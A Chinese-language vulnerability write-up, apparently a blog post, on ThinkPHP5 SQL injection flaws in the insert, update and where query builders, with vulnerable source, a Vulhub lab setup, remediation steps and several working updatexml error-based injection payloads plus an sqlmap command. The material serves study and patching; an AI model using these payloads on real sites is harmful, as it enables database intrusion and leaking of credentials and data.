ThinkPHP5 的 SQL 注入漏洞
ThinkPHP5 的 SQL 注入漏洞(常被安全社区称为 ThinkPHP5 SQL5 注入漏洞)是 ThinkPHP5 框架中一系列因设计缺陷导致的安全问题,主要影响早期版本。
一、漏洞背景
ThinkPHP5 的 SQL 注入漏洞主要源于框架对用户输入数据的处理不当,尤其是在 数据库查询构造器 中未严格过滤用户可控参数。该漏洞影响以下版本:
攻击者可利用漏洞构造恶意 SQL 语句,绕过预编译机制,直接操作数据库,导致数据泄露、篡改甚至服务器沦陷。
二、漏洞核心原理
1. 查询构造器的参数解析缺陷
ThinkPHP5 的查询构造器(Query 类)在处理用户输入时,未对 数组键名 和 操作符 进行严格过滤。例如:
2. PDO 预处理机制的绕过
ThinkPHP5 默认使用 PDO 预编译 SQL 语句,但以下配置会导致预处理失效:
// 配置项:关闭模拟预处理(非默认)
'params' => [
PDO::ATTR_EMULATE_PREPARES => false,
]
当 PDO::ATTR_EMULATE_PREPARES 设置为 false 时,预编译过程会直接解析 SQL 语句中的动态内容,导致攻击者可通过报错注入(如 updatexml)在预编译阶段触发 SQL 执行。
三、典型攻击场景与利用方式
场景 1:insert 方法注入
场景 2:where 子句的 IN 操作符注入
场景 3:update 方法注入
四、漏洞利用条件
五、漏洞修复方案
1. 官方补丁升级
2. 代码层修复
3. 数据库安全加固
六、漏洞验证与测试
1. 本地复现环境
2. 自动化检测工具
七、总结
ThinkPHP5 的 SQL 注入漏洞暴露了框架在 数据过滤 和 预编译机制 上的设计缺陷。开发人员需注意:
运行环境:
docker-compose up -d
启动后,访问http://192.168.23.230/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。
ThinkPHP5中多个SQL注入漏洞的源代码分析及触发原理,涵盖不同版本和场景的典型案例:
1. Builder::parseData方法注入(INSERT操作)
影响版本:5.0.13 ≤ ThinkPHP ≤ 5.0.15,5.1.0 ≤ ThinkPHP ≤ 5.1.5
漏洞代码:
// thinkphp/library/think/db/Builder.php |
触发条件:
2. Builder::parseArrayData方法注入(UPDATE操作)
影响版本:5.1.6 ≤ ThinkPHP ≤ 5.1.7
漏洞代码:
// thinkphp/library/think/db/Builder.php(已删除)
protected function parseArrayData($data, $fields) {
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key);
if (is_array($val)) {
$result[] = $item . ' = ' . $val[0] . '(\'' . $val[1] . '\')'; // 直接拼接用户输入
}
}
return $result;
}
触发条件:
3. Builder::parseWhereItem方法注入(SELECT操作)
影响版本:全版本ThinkPHP5
漏洞代码:
// thinkphp/library/think/db/Builder.php
protected function parseWhereItem($field, $val) {
if ($val[1] === 'exp') {
return $field . ' ' . $val[0] . ' ' . $val[2]; // 直接拼接表达式
}
}
触发条件:
4. Query::select方法参数注入
影响版本:全版本ThinkPHP5
漏洞代码:
// thinkphp/library/think/db/Query.php
public function select($data = null) {
$options = $this->parseExpress();
$sql = $this->builder->select($options); // 依赖Builder的拼接逻辑
return $this->query($sql, $data);
}
触发条件:
修复方案
总结
ThinkPHP5的SQL注入漏洞多源于数据拼接时未严格过滤用户输入,涉及insert、update、select等核心方法。开发者应避免直接使用未经验证的外部参数,并升级至安全版本(如5.0.16+或5.1.8+)。如需完整代码示例或环境搭建步骤,可参考相关漏洞分析报告136。
1,首先验证漏洞存在
?ids[]=1&ids[]=2
?ids[0,updatexml(0,concat(0xa,user()),0)]=1
会被 PHP 解释为:
$_GET = [ |
也就是:$_GET['ids'] 是一个数组,key 为 '0,updatexml(0,concat(0xa,user()),0)'
ThinkPHP 参数解析逻辑
ThinkPHP5 支持将数组直接传入 where() 方法,如:
Db::name('user')->where($_GET['ids'])->select();
如果传入了:
[ |
框架内部在解析 key 时,会尝试将其拆分成 SQL 字段和表达式。ThinkPHP5 内部源码类似如下逻辑:
list($field, $exp) = explode(',', $key, 2);
$whereStr = "$field = $exp";
所以:
$field = "0"
$exp = "updatexml(0,concat(0xa,user()),0)"
最终生成 SQL:
WHERE 0 = updatexml(0,concat(0xa,user()),0)
这是一个报错注入语句,updatexml() 是 MySQL 中常见的报错函数,用于将数据输出到错误信息中。
实际执行效果
如果数据库用户具有查询权限,执行:
SELECT * FROM user WHERE 0 = updatexml(0,concat(0xa,user()),0)
将会触发 SQL 错误:
XPATH syntax error: '~root@localhost~'
攻击者就能从错误信息中读出当前数据库用户名。
在配置文件处成功得到数据库敏感信息
- 参数转义:在拼接前使用escapeString处理用户输入(如parseData修复中新增转义逻辑)1。
- 删除高危方法:官方删除parseArrayData方法以消除隐患38。
- 禁用调试模式:关闭app_debug和app_trace,避免泄露数据库信息46。
- 通过select方法直接拼接用户输入,例如ids[0,updatexml(0,concat(0xa,user()),0)]=1。
- 参数未过滤导致恶意语法注入至SQL语句24。
- 使用where方法的exp操作符,如where('username', 'exp', $_GET['username'])。
- 用户输入如) union select updatexml(1,concat(0x7,user(),0x7e),1)#直接拼接到WHERE条件中,绕过预编译567。
- 通过update方法传入数组参数,如username[0]=point&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)。
- parseArrayData未对$val[0]和$val[1]进行转义,导致恶意函数调用被注入38。
- 用户通过insert方法传入数组参数,如$username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)。
- parseData未对$val[1]进行过滤,导致恶意SQL片段直接拼接至语句中18。
- 及时更新框架版本,避免使用存在已知漏洞的旧版本。
- 对所有用户输入进行严格的类型和格式校验。
- 遵循最小权限原则,限制数据库账号权限
- 使用 SQLMap 检测漏洞:
sqlmap -u "http://target.com/index.php?ids=1" --batch --risk=3 - 使用 Docker 快速搭建漏洞环境(推荐 Vulhub):
git clone https://github.com/vulhub/vulhub.git
cd vulhub/thinkphp/5-in-sqlinjection
docker-compose up -d - 访问 http://localhost:8080?ids[0,updatexml(...)]=1 验证漏洞。
- 配置 PDO::ATTR_EMULATE_PREPARES = true,强制使用模拟预处理。
- 限制数据库账号权限,避免使用 root 账号。
- 输入过滤:对用户输入的数组键名和值进行白名单校验。
// 示例:过滤非预期操作符
$allowOperators = ['eq', 'neq', 'gt', 'egt'];
if (!in_array($operator, $allowOperators)) {
throw new Exception('Invalid operator');
} - 禁用危险配置:生产环境关闭调试模式:
app_debug = false
app_trace = false - 升级至 ThinkPHP 5.0.16+ 或 5.1.8+,官方修复了以下问题:
- 对 inc、dec、exp 操作符的输入进行严格过滤。
- 移除 parseArrayData 方法,避免数组参数解析漏洞。
- 补丁地址:ThinkPHP GitHub Releases
- 版本范围:需处于受影响版本内(如 5.0.0~5.0.15)。
- 调试模式开启:app_debug=true 和 app_trace=true,否则无法通过报错回显获取数据。
- 数据库类型:需使用 MySQL,且 PDO 配置允许直接执行动态 SQL。
- 漏洞触发点:Mysql::parseArrayData 方法。
- 攻击原理:利用 point 等特殊操作符构造闭合 SQL 语句。
// 示例代码
Db::name('user')->where('id', 1)->update(['username' => $_GET['username']]); - Payload 示例:
?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7e,user(),0x7e),1)^&username[3]=0
效果:通过位运算绕过过滤,触发报错注入。 - 漏洞触发点:Builder::parseWhereItem 方法。
- 攻击原理:通过控制 IN 操作的数组键名,插入恶意 SQL 片段。
// 示例代码
$ids = input('ids');
Db::name('user')->where('id', 'in', $ids)->select(); - Payload 示例:
?ids[0,updatexml(0,concat(0x7e,version()),0)]=1
效果:在预编译阶段触发报错,泄露数据库版本信息。 - 漏洞触发点:Builder::parseData 方法。
- 攻击原理:通过传递数组参数,利用 inc 或 exp 操作符注入恶意 SQL 代码。
// 示例代码
$user = new User();
$user->save([
'username' => ['inc', $_GET['payload']]
]); - Payload 示例:
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
效果:触发数据库报错,泄露当前用户信息(如 root@localhost)。 - 当使用 where('id', 'in', $ids) 时,若 $ids 是用户可控的数组参数,攻击者可通过构造键名插入恶意 SQL 片段。
- 在 insert 或 update 方法中,通过数组参数触发 inc、exp 等操作符的未过滤逻辑。
- 5.0.0 ≤ ThinkPHP ≤ 5.0.15
- 5.1.0 ≤ ThinkPHP ≤ 5.1.7
- 部分 5.x 分支版本
相关文章:
ThinkPHP5 的 SQL 注入漏洞
ThinkPHP5 的 SQL 注入漏洞(常被安全社区称为 ThinkPHP5 SQL5 注入漏洞)是 ThinkPHP5 框架中一系列因设计缺陷导致的安全问题,主要影响早期版本。 一、漏洞背景 ThinkPHP5 的 SQL 注入漏洞主要源于框架对用户输入数据的处理不当,尤…...
Linux学习笔记|入门指令
man 指令 用法:man [指令名称] ,用于查看指定指令的帮助手册,获取指令的详细语法、选项及使用示例等信息 。示例:想了解 ls 指令的用法,执行 man ls ,会进入 man 手册页面展示 ls 相关信息。按 q 键可退出。…...
前端实现数据导出成excel
前端(react/vue)实现数据导出成excel 1. 下载依赖 npm install js-export-excel -D 2. 新建exportExcel.js import ExportJsonExcel from js-export-excel; /*** Event: 获取导出数据* description:* param config.tableParams<Object>: 表格接口请求参数* param …...
海事局发布《船舶智能监控系统技术指南(1.0)》,解读智驱力产品为何成为最佳选择!
为深入推进人工智能、边缘计算等新技术在水上交通安全领域应用,强化船舶安全风险实时感知、智能预警,推动水上交通安全治理模式向事前预防转型,中华人民共和国海事局于2025年3月11日正式制定了《船舶智能监控系统技术指南(1.0&…...
uCOS3实时操作系统(系统初始化和任务启动)
文章目录 ucos初始化任务创建任务启动 ucos初始化 系统运行的过程如下:OSInit -> OSTaskCreate -> OSStartucos初始化主要在 OSInit 中进行,下面列举了该初始化过程中比较重要的几个步骤:OSInit()OSInitHook();OS_CPU_ExceptStkBase /…...
线上地图导航小程序源码介绍
基于ThinkPHP、FastAdmin和UniApp三大前沿技术推出的一款线上地图导航小程序源码,ThinkPHP作为后端框架,以其轻量、高效和灵活的特点,确保了小程序的稳定性和可扩展性。FastAdmin则是基于ThinkPHP构建的管理后台,操作简便、功能全…...
Mininet--nodelib.py源码解析
整体构架概述 1. What is it? 本代码是 Mininet 网络仿真框架的扩展模块,包含 LinuxBridge 和 NAT 两类节点。LinuxBridge 提供基于 Linux 网桥的交换机功能,支持生成树协议(STP),用于构建冗余网络拓扑并防…...
[C++]多重继承:构造函数调用顺序解析
在C中,当派生类通过 多重继承 (Multiple Inheritance)继承多个基类(如 A、B、C)时,其构造函数调用顺序遵循以下规则: 1. 基类构造顺序 基类的构造函数调用顺序严格按照派生类定义中的基类声明…...
Math.round(),Math.ceil(),Math.floor(),Math.sqrt(),Math.pow(),Math.abs()等!
希望看到这篇的你今天开心 目录 Math.round():Math.ceil():Math.floor() :Math.sqrt():Math.pow():Math.abs():了解更多: Math.round(): 四舍五入取值 静态方法Math.round()返回四舍五入为最接近的整数的数字值。 对于正数,Math.round() 会将小数部分小…...
Docker 集成KingBase
Docker安装 再linux系统中安装yum命令,通过yum命令可直接安装docker yum命令如下 yum install dockerDocker安装KingBase 安装完成Dockr后,去KingBase官网中下载镜像 下载完成后,通过docker命令将镜像文件导入 docker load -i kdb_x86_64…...
论文速报《Being-0:结合视觉语言模型与模块化技能的人形机器人智能体》
论文链接:https://arxiv.org/pdf/2503.12533 项目主页:https://beingbeyond.github.io/being-0/?utm_sourcecatalyzex.com 0. 简介 人形机器人被认为是实现具身人工智能的理想载体,因其可以像人类一样与现实世界进行物理交互。构建能够在复…...
卷积神经网络--手写数字识别
本文我们通过搭建卷积神经网络模型,实现手写数字识别。 pytorch中提供了手写数字的数据集 ,我们可以直接从pytorch中下载 MNIST中包含70000张手写数字图像:60000张用于训练,10000张用于测试 图像是灰度的,28x28像素 …...
JavaScript-原型、原型链详解
一、构造函数 在 JavaScript 中,构造函数是一种特殊的函数,用于创建和初始化对象,它就像一个 “对象模板”。通过 new 关键字调用构造函数时,会创建一个新对象,并将构造函数中的属性和方法 “绑定” 到这个新对象上。…...
深度学习框架PyTorch——从入门到精通(3.3)YouTube系列——自动求导基础
这部分是 PyTorch介绍——YouTube系列的内容,每一节都对应一个youtube视频。(可能跟之前的有一定的重复) 我们需要Autograd做什么?一个简单示例训练中的自动求导开启和关闭自动求导自动求导与原地操作 自动求导分析器高级主题&…...
永磁同步电机控制算法-VF控制
一、原理介绍 V/F 控制又称为恒压频比控制,给定VF 控制曲线 电压是频率的tt例函数 即控制电压跟随频率变化而变化以保持磁通恒定不变。 二、仿真模型 在MATLAB/simulink里面验证所提算法,搭建仿真。采用和实验中一致的控制周期1e-4,电机部分计算周期为…...
【Docker 运维】Java 应用在 Docker 容器中启动报错:`unable to allocate file descriptor table`
文章目录 一、根本原因二、判断与排查方法三、解决方法1、限制 Docker 容器的文件描述符上限2、在执行脚本中动态设置ulimit的值3、升级至 Java 11 四、总结 容器内执行脚本时报错如下,Java 进程异常退出: library initialization failed - unable to a…...
SpringBoot + Vue 实现云端图片上传与回显(基于OSS等云存储)
前言 在实际生产环境中,我们通常会将图片等静态资源存储在云端对象存储服务(如阿里云OSS、七牛云、腾讯云COS等)上。本文将介绍如何改造之前的本地存储方案,实现基于云端存储的图片上传与回显功能。 一、技术选型 云存储服务&a…...
Session与Cookie的核心机制、用法及区别
Python中Session与Cookie的核心机制、用法及区别 在Web开发中,Session和Cookie是两种常用的用于跟踪用户状态的技术。它们在实现机制、用途和安全性方面都有显著区别。本文将详细介绍它们的核心机制、用法以及它们之间的主要区别。 一、Cookie的核心机制与用法 1…...
离线安装rabbitmq全流程
在麒麟系统(如银河麒麟)上离线安装 RabbitMQ 的具体操作步骤如下: 一、准备工作 确认系统版本:确认麒麟系统的版本,例如银河麒麟高级服务器 V10。确定 RabbitMQ 及依赖版本:根据系统版本确定兼容的 Rabbi…...
llama-webui docker实现界面部署
1. 启动ollama服务 [nlp server]$ ollama serve 2025/04/21 14:18:23 routes.go:1007: INFO server config env"map[OLLAMA_DEBUG:false OLLAMA_FLASH_ATTENTION:false OLLAMA_HOST: OLLAMA_KEEP_ALIVE:24h OLLAMA_LLM_LIBRARY: OLLAMA_MAX_LOADED_MODELS:4 OLLAMA_MAX_…...
第1 篇:你好,时间序列!—— 开启时间数据探索之旅
第 1 篇:你好,时间序列!—— 开启时间数据探索之旅 (图片来源: Stephen Dawson on Unsplash) 你有没有想过: 明天的天气会是怎样?天气预报是怎么做出来的?某支股票未来的价格走势如何预测?购物…...
C++算法(11):vector作为函数参数的三种传递方式详解
在C中,std::vector是最常用的动态数组容器之一。当我们需要将vector传递给函数时,不同的传递方式会对性能和功能产生显著影响。本文将详细介绍三种常见的传递方式及其适用场景,帮助开发者根据需求选择最合适的方法。 1. 按值传递(…...
版本控制利器——SVN简介
版本控制利器——SVN简介 在软件开发和项目管理的领域中,版本控制是一项至关重要的工作。它能帮助团队成员高效协作,确保代码的安全性和可追溯性。今天,我们就来详细介绍一款经典的版本控制系统——SVN(Subversion)。…...
链式栈和线性栈
1. 线性栈(顺序栈) 结构定义: #include <iostream> using namespace std;#define MAX_SIZE 100 // 预定义最大容量// 线性栈结构体 typedef struct {int* data; // 存储数据的数组int top; // 栈顶指针&…...
消息中间件RabbitMQ:简要介绍及其Windows安装流程
一、简要介绍 定义:RabbitMQ 是一个开源消息中间件,用于实现消息队列和异步通信。 场景:适用于分布式系统、异步任务处理、消息解耦、负载均衡等场景。 比喻:RabbitMQ 就像是快递公司,负责在不同系统间安全快速地传递…...
足球 AI 智能体技术解析:从数据采集到比赛预测的全链路架构
一、引言 在足球运动数字化转型的浪潮中,AI 智能体正成为理解比赛、预测赛果的核心技术引擎。本文从工程实现角度,深度解析足球 AI 的技术架构,涵盖数据采集、特征工程、模型构建、实时计算到决策支持的全链路技术方案,揭示其背后…...
VTK知识学习(53)- 交互与Widget(四)
1、测量类Widget 1)概述 与测量相关的主要 Widget如下: vtkDistanceWidget:用于在二维平面上测量两点之间的距离。vtkAngleWidget:用于二维平面的角度测量。vtkBiDimensionalWidget:用于测量二维平面上任意两个正交方向的轴长。 按照前面提到的步骤创…...
基础服务系列-Windows10 安装AnacondaJupyter
下载 https://www.anaconda.com/products/individual 安装 安装Jupyter 完成安装 启动Jupyter 浏览器访问 默认浏览器打开,IE不兼容,可以换个浏览器 修改密码 运行脚本...
使用c++调用deepseek的api(附带源码)
可以给服务器添加deepseek这样就相当于多了一个智能ai助手 deepseek的api申请地址使用格式测试效果源码 deepseek的api申请地址 这边使用硅基流动的api,注册就有免费额度 硅基流动: link 使用格式 api的调用格式,ds的api调用就是用固定协议然后发送到…...
HarmonyOS-ArkUI: animateTo 显式动画
什么是显式动画 啊, 尽管有点糙,但还是解释一下吧, 显式动画里面的“显式”二字, 是程序员在代码调用的时候,就三令五申,明明白白调用动画API而创建的动画。 这个API的名字就是: animateTo。这就是显式动画。说白了您可以大致理解为,显式动画,就是调用animateTo来完成…...
Spring AI MCP
MCP是什么 MCP是模型上下文协议(Model Context Protocol)的简称,是一个开源协议,由Anthropic(Claude开发公司)开发,旨在让大型语言模型(LLM)能够以标准化的方式连接到外…...
Kubernetes 创建 Jenkins 实现 CICD 配置指南
Kubernetes 创建 Jenkins 实现 CICD 配置指南 拉取 Jenkins 镜像并推送到本地仓库 # 从官方仓库拉取镜像(若网络不通畅可使用国内镜像源) docker pull jenkins/jenkins:lts-jdk11# 国内用户可去下面地址寻找镜像源并拉取: https://docker.a…...
01_Flask快速入门教程介绍
一、课程视频 01_Flask快速入门教程介绍 二、课程特点 讲课风格通俗易懂,理论与实战相结合 教程:视频 配套文档 配套的代码 最新本版,Python版本是3.12,Flask版本是3.10 即使是从没接触过Flsk的小白也看得懂学得会 三、适用人…...
SSH反向代理
SSH反向代理 一、过程 1、 确保树莓派和阿里云服务器的 SSH 服务正常运行 检查树莓派的ssh服务 sudo systemctl status ssh如果未启用,请启动并设置开机自启: sudo systemctl enable ssh sudo systemctl start ssh检查阿里云服务器的SSH服务 sudo …...
第 5 篇:初试牛刀 - 简单的预测方法
第 5 篇:初试牛刀 - 简单的预测方法 经过前面四篇的学习,我们已经具备了处理时间序列数据的基本功:加载、可视化、分解以及处理平稳性。现在,激动人心的时刻到来了——我们要开始尝试预测 (Forecasting) 未来! 预测是…...
深度学习中的归一化技术:从原理到实战全解析
摘要:本文系统解析深度学习中的归一化技术,涵盖批量归一化(BN)、层归一化(LN)、实例归一化(IN)、组归一化(GN)等核心方法。通过数学原理、适用场景、优缺点对…...
流量抓取工具(wireshark)
协议 TCP/IP协议簇 网络接口层(没有特定的协议)PPPOE 物理层数据链路层 网络层: IP(v4/v6) ARP(地址解析协议) RARP ICMP(Internet控制报文协议) IGMP传输层:TCP(传输控制协议)UDP(用户数据报协议)应用层…...
【原创】Ubuntu20.04 安装 Isaac Gym 仿真器
Isaac Gym 是 NVIDIA 开发的一个基于GPU的机器人仿真平台。其高效的 GPU 加速能力和大规模并行仿真性能,成为强化学习训练和机器人控制研究的重要选择。 本文将介绍 Isaac Gym 的安装过程【简易】。 1.配置环境 Ubuntu20.04 安装 NVIDIA 显卡驱动 Ubuntu20.04 安…...
AI 速读 SpecReason:让思考又快又准!
在大模型推理的世界里,速度与精度往往难以兼得。但今天要介绍的这篇论文带来了名为SpecReason的创新系统,它打破常规,能让大模型推理既快速又准确,大幅提升性能。想知道它是如何做到的吗?快来一探究竟! 论…...
从“堆料竞赛”到“体验深耕”,X200 Ultra和X200s打响手机价值升维战
出品 | 何玺 排版 | 叶媛 vivo双旗舰来袭! 4月21日,vivo X系列春季新品发布会盛大开启,带来了一场科技与创新的盛宴。会上,消费者期待已久的X200 Ultra及X200s两款旗舰新品正式发布。 vivo两款旗舰新品发布后,其打破…...
Macbook IntelliJ IDEA终端无法运行mvn命令
一、背景 idea工具里执行Maven命令mvn package,报错提示 zsh: command not found: mvn。 macOS,默认使用的是zsh,环境变量通常配置在 ~/.zshrc 文件中。 而我之前一直是配置在~/.bash_profile文件中。 二、环境变量 vi ~/.zshrc设置MAVE…...
CentOS 7进入救援模式——VirtualBox虚拟机
目录 1. 在`VirtualBox`环境下,开机按F12,进入`VirtualBox temporary boot device selection `界面,按`c`键,选中`CD-ROM `回车。2. 选中`Troubleshooting`(故障排除),进入`Troubleshooting`界面3. 接下来会显示救援模式菜单,通常选择`"1) Continue"`(除非您…...
AI软件栈:LLVM分析(六)
LLVM后端代码生成的关键步骤 文章目录 指令选择指令调度寄存器分配 指令选择 完成从基于LLVM IR的DAG转换为基于特定目标平台的DAG(注意,此时描述格式依然是DAG形态)基于TabGen完成指令重映射(典型的处理包括:指令拆散…...
【第十六届 蓝桥杯 省 C/Python A/Java C 登山】题解
题目链接:P12169 [蓝桥杯 2025 省 C/Python A/Java C] 登山 思路来源 一开始想的其实是记搜,但是发现还有先找更小的再找更大的这种路径,所以这样可能错过某些最优决策,这样不行。 于是我又想能不能从最大值出发往回搜…...
Github 热点项目 Jumpserver开源堡垒机让服务器管理效率翻倍
Jumpserver今日喜提160星,总星飙至2.6万!这个开源堡垒机有三大亮点:① 像哆啦A梦的口袋,支持多云服务器一站式管理;② 安全审计功能超硬核,操作记录随时可回放;③ 网页终端无需装插件࿰…...
5V 1A充电标准的由来与技术演进——从USB诞生到智能手机时代的电力革命
点击下面图片带您领略全新的嵌入式学习路线 🔥爆款热榜 88万阅读 1.6万收藏 一、起源:USB标准与早期电力传输需求 1. USB的诞生背景 1996年,由英特尔、微软、IBM等公司组成的USB-IF(USB Implementers Forum)发布了…...
驱动开发硬核特训 · Day 16:字符设备驱动模型与实战注册流程
🎥 视频教程请关注 B 站:“嵌入式 Jerry” 一、为什么要学习字符设备驱动? 在 Linux 驱动开发中,字符设备(Character Device)驱动 是最基础也是最常见的一类驱动类型。很多设备(如 LED、按键、…...
外网如何连接内网中的mysql数据库服务器
一、MySQL 产品简介 mysql是一款数据库产品,它主要用于存储、管理和检索数据,对用户的数据进行存储管理 二、运维人员遇到的问题 当内网服务器部署好mysql数据库后,外网如何安全的访问数据库进行增删改查,是运维人员遇到的一个…...
你的大模型服务如何压测:首 Token 延迟、并发与 QPS
写在前面 大型语言模型(LLM)API,特别是遵循 OpenAI 规范的接口(无论是 OpenAI 官方、Azure OpenAI,还是 DeepSeek、Moonshot 等众多兼容服务),已成为驱动下一代 AI 应用的核心引擎。然而,随着应用规模的扩大和用户量的增长,仅仅关注模型的功能是不够的,API 的性能表…...
4月谷歌新政 | Google Play今年对“数据安全”的管控将全面升级!
大家好,我是牢鹅!每年的Q2季度是Google Play重要政策更新的时间节点,一般都伴随着重磅政策的更新,今年也不例外。4月10日,谷歌政策迎来2025年第二次更新,本次政策更新内容相较3月政策更新,不管是…...